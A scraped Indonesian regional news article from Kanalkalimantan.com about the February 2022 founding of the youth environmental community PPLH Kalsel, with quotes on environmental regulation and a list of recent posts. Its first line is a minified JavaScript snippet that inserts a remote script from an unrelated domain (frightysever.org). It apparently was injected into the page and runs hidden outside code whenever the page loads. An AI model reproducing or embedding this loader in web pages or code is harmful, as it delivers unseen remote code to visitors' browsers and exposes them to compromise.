(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Peringatan Hari Peduli Sampah Nasional 2022, Komunitas PPLH Kalsel Diresmikan


KANALKALIMANTAN.COM, BANJARBARU – Komunitas Pemuda Peduli Lingkungan (PPLH) Kalimantan Selatan memdeklarasikan diri secara resmi pada Kamis (24/2/2022). Selain deklarasi, PPLH Kalsel juga menghelat diskusi peringatan hari peduli sampah nasional 2022.

Koordinator umum PPLH Kalsel Muhammad Ramli Jauhari menuturkan muasal berdirinya komunitas ini, berangkat dari kesamaan pandangan tentang lingkungan dari aktivis mahasiswa lintas organisasi kemahasiswaan.

“Ke depan PPLH Kalsel menjadi corong informasi kepada instansi terkait, kita ingin mengangkat isu-isu strategis ke forum-forum diskursus ilmiah,” ujar Ramli kepada awak media di sela acara.

Ke depan, sambungnya PPLH Kalsel akan menjadi wadah milenial yang punya kepedulian terhadap lingkungan untuk bersuara.

 

Baca juga : Safari Nyepi, Bupati Eddy Raya Tekankan Pentingnya Kebersamaan Antar Umat Beragama

Dia menuturkan hasil kajian bersama nantinya akan disuarakan oleh pihaknya. Salah satu yang disorot PPLH Kalsel adalah regulasi dan kebijakan pemerintah yang harus diterbitkan sebagai upaya pelestarian lingkungan.

“Saat ini kondisi lingkungan hidup kita perlu adanya penguatan kebijakan dan regulasi yang menjadi solusi dari persoalan yang ada,” ujar mantan ketua (PKC) Pergerakan Mahasiswa Islam Indonesia (PMII) Kalsel ini.

Sementara itu Kisworo Dwi Cahyono direktur eksekutif WALHI Kalsel menyambut baik deklarasi PPLH Kalsel.

Baginya semakin banyak komunitas yang peduli kepada lingkungan akan menjadi masukan yang baik bagi pemerintah untuk meminimalisir risiko bencana alam.

 

Baca juga : Bareskrim Polri Limpahkan Kasus Hacker RNS ke Kejari Banjarbaru

Cak Kiss sapaan akrabnya sepakat bahwa perlu ada regulasi dan kebijakan yang berpihak kepada pelestarian lingkungan hidup. Baik itu yang termaktub dalam Rencana Pembangunan Jangka Menengah maupun jangka panjang.

Dia juga mendesak untuk meninjau rencana tata ruang dan tata wilayah Kalsel yang berpotensi mendatangkan bencana alam.

“Jangan menerbitkan izin baru industri ekstraktif, izin-izin yang lama halus dievaluasi, kalau melanggar harus dicabut dan dikembalikan kepada rakyat,” ucap Cak Kiss. (Kanalkalimantan.com/al)

Reporter : al
Editor : cell


Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

2 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

2 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

3 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

3 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

3 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

5 jam ago

This website uses cookies.